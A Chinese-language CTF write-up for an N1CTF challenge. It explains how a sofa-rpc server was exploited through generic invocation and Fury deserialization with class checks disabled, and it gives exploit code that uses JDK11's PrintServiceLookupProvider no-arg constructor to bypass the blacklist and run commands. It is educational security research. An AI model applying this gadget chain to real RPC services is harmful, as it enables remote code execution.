前言

之前 N1CTF 的一道题目,服务端是 sofa-rpc 的 demo,可以参考 https://www.sofastack.tech/projects/sofa-rpc/getting-started-with-rpc/
pom 如下,jdk 版本为 11,依赖只有 sofa-rpc-all

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.server</groupId>
<artifactId>sofa-server</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>11</maven.compiler.source>
<maven.compiler.target>11</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>com.alipay.sofa</groupId>
<artifactId>sofa-rpc-all</artifactId>
<version>5.13.1</version>
</dependency>
</dependencies>

</project>

远程调用流程

题目服务端实现了一个远程方法,参数类型是 String

1
2
3
4
5
6
7
8
9
package com.server;

public class HelloServiceImpl implements HelloService {
@Override
public String sayHello(String string) {
System.out.println("Server receive: " + string);
return "hello " + string + " !";
}
}

我们可以在客户端调用 sayhello 方法,参考官方文档的 demo

1
2
3
4
5
6
7
ConsumerConfig<HelloService> consumerConfig = new ConsumerConfig<HelloService>()  
.setInterfaceId(HelloService.class.getName()) // 指定接口
.setProtocol("bolt") // 指定协议
.setDirectUrl("bolt://127.0.0.1:12200"); // 指定直连地址
// 生成代理类
HelloService helloService = consumerConfig.refer();
System.out.println(helloService.sayHello("world"));

断点打在 com.alipay.sofa.rpc.codec.bolt.SofaRpcSerialization#deserializeContent(Request)中
服务端先从客户端发来的RpcRequestCommand 对象中获取反序列化器,这里的默认值是 1
![[_resources/N1CTF faso/358897c3ce38d47c97114cf5b471a970_MD5.jpeg]]
接着把 1传入 com.alipay.sofa.rpc.codec.SerializerFactory#getSerializer(byte)获取反序列化器
![[_resources/N1CTF faso/1995f2d32747699e99d9da64cb6cd4ef_MD5.jpeg]]
这里可用的反序列化器有 5 种,默认使用 hessian
后续会进入 com.alipay.sofa.rpc.codec.sofahessian.serialize.SofaRequestHessianSerializer#decodeObjectByTemplate
这里是触发序列化的位置,会使用自定义的 serializerFactory 来进行 Hessian2 协议的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@Override  
public void decodeObjectByTemplate(AbstractByteBuf data, Map<String, String> context, SofaRequest template)
throws SofaRpcException {
try {
UnsafeByteArrayInputStream inputStream = new UnsafeByteArrayInputStream(data.array());
Hessian2Input input = new Hessian2Input(inputStream);
input.setSerializerFactory(serializerFactory);
Object object = input.readObject();
SofaRequest tmp = (SofaRequest) object;
String targetServiceName = tmp.getTargetServiceUniqueName();
if (targetServiceName == null) {
throw buildDeserializeError("Target service name of request is null!");
}
// copy values to template
template.setMethodName(tmp.getMethodName());
template.setMethodArgSigs(tmp.getMethodArgSigs());
template.setTargetServiceUniqueName(tmp.getTargetServiceUniqueName());
template.setTargetAppName(tmp.getTargetAppName());
template.addRequestProps(tmp.getRequestProps());

String interfaceName = ConfigUniqueNameGenerator.getInterfaceName(targetServiceName);
template.setInterfaceName(interfaceName);

// decode args
String[] sig = template.getMethodArgSigs();
Class<?>[] classSig = ClassTypeUtils.getClasses(sig);
final Object[] args = new Object[sig.length];
for (int i = 0; i < template.getMethodArgSigs().length; ++i) {
args[i] = input.readObject(classSig[i]);
}
template.setMethodArgs(args);
input.close();
} catch (IOException e) {
throw buildDeserializeError(e.getMessage(), e);
}
}

反序列化得到的对象是一个 SofaRequest 对象,后续再恢复属性,并且将函数调用的参数也用反序列化来恢复,我们想要触发反序列化,用 String 的话是不可以的,但是这里限制了 sayHello 的方法参数,我们可以继续从文档中找到一个泛化调用的方法,可以参考 https://www.sofastack.tech/projects/sofa-rpc/generic-invoke/

1
2
3
4
5
6
7
8
9
10
11
12
ConsumerConfig<GenericService> consumerConfig = new ConsumerConfig<GenericService>()
.setInterfaceId(HelloService.class.getName()) // 指定接口
.setProtocol("bolt")
.setGeneric(true)
.setDirectUrl("bolt://127.0.0.1:12200"); // 指定序列化协议

// 获取 GenericService
GenericService genericService = consumerConfig.refer();
User user = new User("world", "world");

Object result = genericService.$invoke("sayHello", new String[] { String.class.getName() }, new Object[] { user});
System.out.println(result); // 打印服务端返回的结果

这里使用了 GenericService 来调用远程方法,我们便可以在参数中传入 Object 类型的参数,来触发参数的反序列化

如上通过 setGeneric 设置该服务为泛化服务,设置服务方的接口名。以 GenericService 作为泛化服务,通过 GenericService 就能够发起泛化调用了。发起调用时,需要传入方法名,方法类型,方法参数。

Hessian 反序列化

能触发反序列化后第一个想到的就是打 hessian 利用链,具体的 hessian 反序列化流程这里不做分析。
这里使用的 hessian 版本是 sofa-hessian 3.5.4,使用的黑名单可以从serializerFactory 中的 classNameResolver 中找到,共 172 个。
经过和 sofa-hessian 3.5.4 中的黑名单对比发现,这里的 172 个黑名单并不是使用的 hessian-3.5.4.jar 中的serialize.blacklist,而是用的 sofa-rpc-all-5.13.1.jar 中的serialize_blacklist.txt。
值得一提的是,sofa-hessian 3.5.4 原本的黑名单只有 68 个,并且也有反序列化漏洞,参考 https://github.com/sofastack/sofa-hessian/security/advisories/GHSA-c459-2m73-67hj ,最后在 3.5.5 修复
而 sofa-rpc-all-5.13.1.jar 中的 serialize_blacklist.txt 黑名单和 sofa-hessian 3.5.5 一致,也就是说这里的 3.5.4 其实是用的 3.5.5 的黑名单。
看了一眼 3.5.4 的黑名单,确实挺少的,用UIDefault+SwingLazyValue 即可,而 3.5.5 的基本坚不可摧,这也预示着 hessian 这条路很难打通。

Fury 反序列化

默认的 hessian 没法打之后,我尝试把思路放到别的反序列化协议上,这里的 fury 是一个值得关注的位置

1
2
3
4
5
6
ConsumerConfig<GenericService> consumerConfig = new ConsumerConfig<GenericService>()  
.setInterfaceId(HelloService.class.getName()) // 指定接口
.setProtocol("bolt")
.setGeneric(true)
.setSerialization("fury2") // 指定协议
.setDirectUrl("bolt://127.0.0.1:12200"); // 指定序列化协议

我们通过 setSerialization("fury2") 即可改变反序列化协议,由于没有见过 fury 的打法,我这里对 fury 的反序列化流程做一个分析。
我们将断点打在 com.alipay.sofa.rpc.codec.fury.serialize.SofaRequestFurySerializer#decodeObjectByTemplate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@Override  
public void decodeObjectByTemplate(AbstractByteBuf data, Map<String, String> context, SofaRequest template)
throws SofaRpcException {
if (data.readableBytes() <= 0) {
throw new SofaRpcException(RpcErrorType.SERVER_DESERIALIZE, "Deserialized array is empty.");
}
try {
MemoryBuffer readBuffer = MemoryBuffer.fromByteArray(data.array());
SofaRequest tmp = (SofaRequest) fury.deserialize(readBuffer);
String targetServiceName = tmp.getTargetServiceUniqueName();
if (targetServiceName == null) {
throw new SofaRpcException(RpcErrorType.SERVER_DESERIALIZE, "Target service name of request is null!");
}
// copy values to template
template.setMethodName(tmp.getMethodName());
template.setMethodArgSigs(tmp.getMethodArgSigs());
template.setTargetServiceUniqueName(tmp.getTargetServiceUniqueName());
template.setTargetAppName(tmp.getTargetAppName());
template.addRequestProps(tmp.getRequestProps());
String interfaceName = ConfigUniqueNameGenerator.getInterfaceName(targetServiceName);
template.setInterfaceName(interfaceName);
final Object[] args = (Object[]) fury.deserialize(readBuffer);
template.setMethodArgs(args);
} catch (Exception e) {
throw new SofaRpcException(RpcErrorType.SERVER_DESERIALIZE, e.getMessage(), e);
}
}

这里的流程基本和 hessian 类似,先反序列化还原一个 SofaRequest,再反序列化恢复参数,我们利用泛化调用即可触发反序列化,而这里重点关注的是他的反序列化流程。
将 buffer 变成 object 的操作位于 io.fury.Fury#readRef(io.fury.memory.MemoryBuffer)中
![[_resources/N1CTF faso/1e69d4809ec476723e2d7d4a56d4926c_MD5.jpeg]]
这里先进行 readClassInfo,再接着进行readDataInternal 来还原对象,我们先跟进 readClassInfo 中,

黑白名单检查

这里比较重要的部分是一段类名检查的逻辑,这里当发现类名不在白名单中的时候,也就是 registeredClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (!extRegistry.registeredClassIdMap.containsKey(cls) && !shimDispatcher.contains(cls)) {  
String msg =
String.format(
"%s is not registered, please check whether it's the type you want to serialize or "
+ "a **vulnerability**. If safe, you should invoke `Fury#register` to register class, "
+ " which will have better performance by skipping classname serialization. "
+ "If your env is 100%% secure, you can also avoid this exception by disabling class "
+ "registration check using `FuryBuilder#requireClassRegistration(false)`",
cls);
boolean forbidden = BlackList.getDefaultBlackList().contains(cls.getName());
if (forbidden || !isSecure(extRegistry.registeredClassIdMap, cls)) {
throw new InsecureException(msg);
} else {
if (!fury.getConfig().suppressClassRegistrationWarnings()
&& !Functions.isLambda(cls)
&& !ReflectionUtils.isJdkProxy(cls)) {
LOG.warn(msg);
}
}
}

首先会将类名在 BlackList.getDefaultBlackList() 中过一遍黑名单,如果 forbidden 为 1 则直接抛出异常,所以我们反序列化的类一定需要在黑名单之外,这里使用的是 fury-core-0.4.1.jar,为最新版本,黑命单在 https://github.com/apache/fury/blob/main/java/fury-core/src/main/resources/fury/disallowed.txt
通过了黑名单检测后,还需要经过 io.fury.resolver.ClassResolver#isSecure 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private boolean isSecure(IdentityMap<Class<?>, Short> registeredClasses, Class<?> cls) {  
if (BlackList.getDefaultBlackList().contains(cls.getName())) {
return false;
}
if (registeredClasses.containsKey(cls)) {
return true;
}
if (cls.isArray()) {
return isSecure(registeredClasses, TypeUtils.getArrayComponent(cls));
}
if (fury.getConfig().requireClassRegistration()) {
return Functions.isLambda(cls) || ReflectionUtils.isJdkProxy(cls);
} else {
return extRegistry.classChecker.checkClass(this, cls.getName());
}
// Don't take java Exception as secure in case future JDK introduce insecure JDK exception.
// if (Exception.class.isAssignableFrom(cls) // && cls.getName().startsWith("java.") // && !cls.getName().startsWith("java.sql")) { // return true; // }}

在这个函数中会先走一遍黑名单,再走一遍白名单,如果发现不是特殊的类型,接着会进入 io.fury.resolver.AllowListChecker#checkClass 函数,最后进入 io.fury.resolver.AllowListChecker#check,根据 checkLevel 来检查类名,默认是 STRICT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private boolean check(String className) {  
switch (checkLevel) {
case DISABLE:
return true;
case WARN:
if (containsPrefix(disallowList, disallowListPrefix, className)) {
throw new InsecureException(
String.format("Class %s is forbidden for serialization.", className));
}
if (!containsPrefix(allowList, allowListPrefix, className)) {
LOG.warn(
"Class {} not in allow list, please check whether objects of this class "
+ "are allowed for serialization.",
className);
}
return true;
case STRICT:
if (containsPrefix(disallowList, disallowListPrefix, className)) {
throw new InsecureException(
String.format("Class %s is forbidden for serialization.", className));
}
if (!containsPrefix(allowList, allowListPrefix, className)) {
throw new InsecureException(
String.format(
"Class %s isn't in allow list for serialization. If this class is allowed for "
+ "serialization, please add it to allow list by AllowListChecker#addAllowClass",
className));
}
return true;
default:
throw new UnsupportedOperationException("Unsupported check level " + checkLevel);
}
}

在 STRICT 的条件下,需要满足不在黑名单前缀里面,且需要在白名单前缀里,这里的 disallowList 和 allowList 默认都是空,也就是说只要进来就一定会抛出异常,这让我们一下回到了最开始,也就是需要满足 registeredClass
但在这个题目中,出题人对服务端进行了配置修改

1
public static final ConfigKey<String> SERIALIZE_CHECKER_MODE = ConfigKey.build("sofa.rpc.codec.serialize.checkMode", "DISABLE", true, " The default filtering mode is STRICT.You can also set WARN or DISABLE", new String[]{"sofa_rpc_codec_serialize_checkMode"});

把 checkMode 改为了 DISABLE,也就是说在类名的检查中,我们只需要不触发黑名单即可。

还原对象

fury 反序列化流程第二个关键的地方位于 readDataInternal 中,这也是把字节流还原为对象的过程,我们可以把断点打在 io.fury.serializer.CompatibleSerializer#read 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@SuppressWarnings("unchecked")  
@Override
public T read(MemoryBuffer buffer) {
if (isRecord) {
Object[] fieldValues = new Object[fieldResolver.getNumFields()];
readFields(buffer, fieldValues);
RecordUtils.remapping(recordInfo, fieldValues);
assert constructor != null;
try {
T t = (T) constructor.invokeWithArguments(recordInfo.getRecordComponents());
Arrays.fill(recordInfo.getRecordComponents(), null);
return t;
} catch (Throwable e) {
Platform.throwException(e);
}
}
T obj = (T) newBean();
refResolver.reference(obj);
return readAndSetFields(buffer, obj);
}

大致的流程是先用 newBean()来实例化对象,再用 readAndSetFields 来恢复属性

1
2
3
4
5
6
7
8
9
10
private Object newBean() {  
if (constructor != null) {
try {
return constructor.invoke();
} catch (Throwable e) {
Platform.throwException(e);
}
}
return Platform.newInstance(type);
}

示例化的过程很简单,如果有构造方法就触发无参构造方法,如果没有就会使用 Unsafe 来直接构造对象。
而恢复属性的操作位于 io.fury.util.FieldAccessor#putObject

1
2
3
4
5
6
7
public final void putObject(Object targetObject, Object object) {  
if (fieldOffset != -1) {
Platform.putObject(targetObject, fieldOffset, object);
} else {
set(targetObject, object);
}
}

如果 fieldOffset 不等于-1,就会使用 Unsafe 来设置属性,否则会用反射来设置,这里并没有涉及到 getter 和 setter 的触发,比较安全。
综上来看,还原对象的过程中可利用的地方便是触发无参构造方法,那么我么可以尝试寻找一个包含无参构造方法,且能直接 RCE 的类。

无参构造方法 RCE

打印机类即可,参考 https://h4cking2thegate.github.io/posts/46396/ ,来源于 KCon 的议题
windows 下没有相关的类,可以直接参考代码 https://github.com/openjdk/jdk/blob/master/src/java.desktop/unix/classes/sun/print/PrintServiceLookupProvider.java
fury 的黑名单只 ban 掉了 sun.print.UnixPrintService 和 sun.print.UnixPrintServiceLookup,而本题使用的 jdk11 中,这个类改名成了PrintServiceLookupProvider,导致了黑名单的绕过。
最终的 exp 如下,windows 环境下我是写了一个同名的类,其中只包含了属性,方便序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    public static void main(String[] args) throws Exception  
{
ConsumerConfig<GenericService> consumerConfig = new ConsumerConfig<GenericService>()
.setInterfaceId(HelloService.class.getName()) // 指定接口
.setProtocol("bolt")
.setGeneric(true)
.setSerialization("fury2") // 指定协议
.setDirectUrl("bolt://127.0.0.1:12200"); // 指定序列化协议

// 获取 GenericService GenericService genericService = consumerConfig.refer();
User user = new User("world", "world");

PrintServiceLookupProvider print = new PrintServiceLookupProvider();
String[] cmd= {
"touch /tmp/111",
"touch /tmp/222"
};
setFieldValue(print, "lpcAllCom", cmd);

Object result = genericService.$invoke("sayHello", new String[] { String.class.getName() }, new Object[] { user});
// Object result = genericService.$invoke("sayHello", new String[] { String.class.getName() }, new Object[] { print});
// Object result = genericService.$invoke("sayHello", new String[] { HashMap.class.getName() }, new Object[] { map});
System.out.println(result); // 打印服务端返回的结果
}

插曲

最开始的思路是想用反序列化来打到 RCE
我的初版利用链是 HashMap+XStringForFSB 来触发 getter,到这里都是能绕过黑名单的
接着寻找 json 来触发 getter,可惜的是目标环境只有低版本的 jackson 和 gson,都没法触发 getter,这条路也就没有走下去。

Reference

https://xz.aliyun.com/news/12905
https://h4cking2thegate.github.io/posts/46396/
https://xz.aliyun.com/news/12264